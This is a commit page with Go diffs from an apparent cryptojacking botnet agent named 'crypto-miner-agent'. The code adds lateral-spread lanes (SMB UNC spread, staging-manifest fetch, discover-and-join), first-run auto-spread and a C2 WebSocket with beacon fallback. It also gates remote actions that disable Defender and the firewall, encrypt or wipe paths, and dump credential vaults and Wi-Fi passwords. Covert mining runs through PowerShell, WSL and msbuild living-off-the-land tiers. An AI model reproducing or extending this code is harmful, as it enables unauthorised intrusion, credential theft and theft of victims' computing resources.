Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

View File

@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
case "spread_now", "spread_smb_unc", "discover_and_join":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "stage_fetch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
}
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "spread_smb_unc":
unc := strings.TrimSpace(path)
svcName := ""
if unc == "" {
unc = strings.TrimSpace(data)
} else {
svcName = strings.TrimSpace(data)
}
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
UNCPath: unc,
MaxHosts: parsePortArg(command, 64),
SvcName: svcName,
})
c.sendCommandResult(action, true, msg)
return true
case "stage_fetch":
var manifest deploy.StagingManifest
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
return true
}
go func() {
msg, err := deploy.RunStagingChain(c.cfg, manifest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
case "service_discover":
maxHosts := parsePortArg(command, 32)
out := deploy.RunServiceDiscover(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "discover_and_join":
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, msg)
}()
return true
}
return false

View File

@@ -1,6 +1,7 @@
package client
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
@@ -23,6 +24,7 @@ import (
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"crypto-miner-agent/vulnprobe"
"github.com/gorilla/websocket"
)
@@ -46,6 +48,26 @@ type AgentClient struct {
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
containerMiner *miner.ContainerLauncher
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
wslMiner *miner.WSLLauncher
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
psMiner *miner.PowerShellLauncher
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
dotnetMiner *miner.DotnetLauncher
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
hostMiningDisabled atomic.Bool
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
// situations and start direct Stratum mining after a timeout.
@@ -55,6 +77,9 @@ type AgentClient struct {
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
agentID: cfg.AgentID,
}
c.mesh = NewMeshNode(c)
c.initSpreadCredHooks()
return c
}
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningChain = c.newMiningChainRunner()
if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
}
defer c.miningChain.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
c.spreadOnce.Do(func() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
})
}
}
if cfg.LotlOnionEnabled {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, "module "+module+" applied")
case "start_mining":
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult(action, true, "mining started")
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", false)
}
if c.miningChain != nil {
c.miningChain.Stop()
} else {
c.pool.PauseRemote()
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
if c.miningChain != nil {
c.miningChain.Resume(context.Background())
} else {
if c.containerMiner != nil && !c.containerMiner.Running() {
if err := c.containerMiner.Start(); err != nil {
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
} else {
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
}
} else if !c.hostMiningDisabled.Load() {
c.pool.ResumeRemote()
}
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
}
c.sendCommandResult(action, true, "mining resumed")
c.sendCommandResult(action, true, "fleet health: hashing restored")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, true, "system shutdown initiated")
}
}()
case "mining_diagnostics":
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
if c.commandResultHook != nil {
c.commandResultHook(action, success, message)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
@@ -649,7 +736,11 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload})
// If the WebSocket write fails (stalled connection, reconnecting, etc.) fall
// back to the beacon HTTP path so the result is not silently dropped.
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
c.postBeaconResult(payload)
}
}
func (c *AgentClient) wsDownSinceTime() time.Time {
@@ -837,6 +928,16 @@ func probeSSH() bool {
return true
}
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
if stratumOverlay {
return "direct"
}
if c.connected.Load() {
return "c2_ws"
}
return "none"
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
@@ -848,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var lastNetworkHints *deploy.NetworkHints
var lastVulnReport *vulnprobe.ScanReport
var postureReady bool
for {
select {
@@ -904,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
n := lp.Count
lastListenPortCount = &n
}
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
lastNetworkHints = &hints
lastVulnReport = RunVulnLOTLProbe()
}
probeTick++
@@ -923,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
stats.NetworkHints = lastNetworkHints
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
@@ -968,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services
}
if c.miningChain != nil {
ms := c.miningChain.Status()
stats.ActiveMethod = string(ms.ActiveMethod)
stats.StratumOverlay = ms.StratumOverlay
stats.ChainExhausted = ms.ChainExhausted
stats.MiningLastError = ms.LastError
if ms.LOTLTier != "" {
stats.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
for i, a := range ms.LOTLAttempts {
stats.LOTLAttempts[i] = TierAttemptPayload{
Phase: a.Phase,
Tier: string(a.Tier),
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
Wallet: a.Wallet,
}
}
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
stats.FailedMethods[i] = MethodFailurePayload{
Method: string(f.Method),
Reason: f.Reason,
At: f.At,
}
}
}
if len(ms.ChainOrder) > 0 {
stats.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
stats.ChainOrder[i] = string(m)
}
}
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
} else {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score
if len(lastVulnReport.Findings) > 0 {
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
for i, f := range lastVulnReport.Findings {
stats.VulnFindings[i] = VulnFindingPayload{
CVEID: f.CVEID,
Severity: f.Severity,
Component: f.Component,
Patched: f.Patched,
ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
}
}
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
@@ -982,7 +1152,13 @@ func (c *AgentClient) write(msg Message) error {
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
// WriteJSON indefinitely while holding c.mu, which would deadlock every
// other goroutine that needs c.mu (share submission, stats, commands).
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
err := c.conn.WriteJSON(msg)
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
return err
}
// needsStratumFallback returns true when either:
@@ -1016,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
if c.cfg.StratumOverWS {
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
return
}
type fallback struct {
stop chan struct{}
@@ -1047,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
if c.miningChain != nil {
c.miningChain.SetStratumActive(true)
}
if c.connected.Load() {
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
} else {
@@ -1060,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
if c.miningChain != nil {
c.miningChain.SetStratumActive(false)
}
log.Printf("[stratum] fallback stopped — %s", reason)
}
}

View File

@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
// pauseCh starts open; waitIfPaused hits the default branch and returns
// true immediately, so no pre-close of resumeCh is needed (and
// pre-closing it would break the first Pause() — the inner select would
// fire on the already-closed channel instead of blocking).
return g
}
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
}
func downloadAndExtract(url, destDir, targetFile string) error {
resp, err := http.Get(url) //nolint:noctx
client := &http.Client{Timeout: 5 * time.Minute}
resp, err := client.Get(url)
if err != nil {
return err
}
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
data, err := io.ReadAll(resp.Body)
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
if err != nil {
return err
}

View File

@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
ThreadPercent: 75,
CPUPriority: "below_normal",
MiningMode: "always",
MinerExecution: "inprocess",
DisplayMode: "visible",
SilentMode: false,
RunAs: "user",
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolPort: 6060,
RVNPoolTLS: false,
RVNPoolPass: "x",
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
}
}